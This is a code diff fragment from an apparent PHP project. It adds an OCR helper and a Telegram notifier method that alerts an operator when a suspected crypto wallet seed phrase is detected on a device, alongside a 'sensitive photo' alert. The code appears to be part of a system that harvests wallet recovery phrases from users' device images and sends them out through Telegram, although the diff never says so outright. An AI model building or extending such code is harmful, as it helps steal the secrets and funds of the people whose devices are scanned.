|
||||
'stdout',
|
||||
'-l', $langs,
|
||||
'--psm', '6',
|
||||
]);
|
||||
|
||||
if (! $result->successful()) {
|
||||
Log::channel('stack')->warning('tesseract ocr failed', [
|
||||
'path' => $imagePath,
|
||||
'error' => mb_substr($result->errorOutput() ?: $result->output(), 0, 500),
|
||||
]);
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
return trim($result->output());
|
||||
}
|
||||
}
|
||||
@@ -113,6 +113,12 @@ class TelegramNotifier
|
||||
{
|
||||
$chatIds = $this->resolveChatIds($deviceKey);
|
||||
if ($chatIds === []) {
|
||||
Log::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
|
||||
'device_key' => $deviceKey,
|
||||
'bot_token_set' => $this->botToken() !== '',
|
||||
'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -167,11 +173,11 @@ class TelegramNotifier
|
||||
if ($desc === '') {
|
||||
$desc = 'HTTP '.$resp->status();
|
||||
}
|
||||
Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
||||
Log::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
||||
|
||||
return ['ok' => false, 'error' => $desc];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
||||
Log::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
||||
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
}
|
||||
@@ -316,6 +322,17 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔎 <b>疑似助记词</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
|
||||
'🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
|
||||
'📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
|
||||
Reference in New Issue
Block a user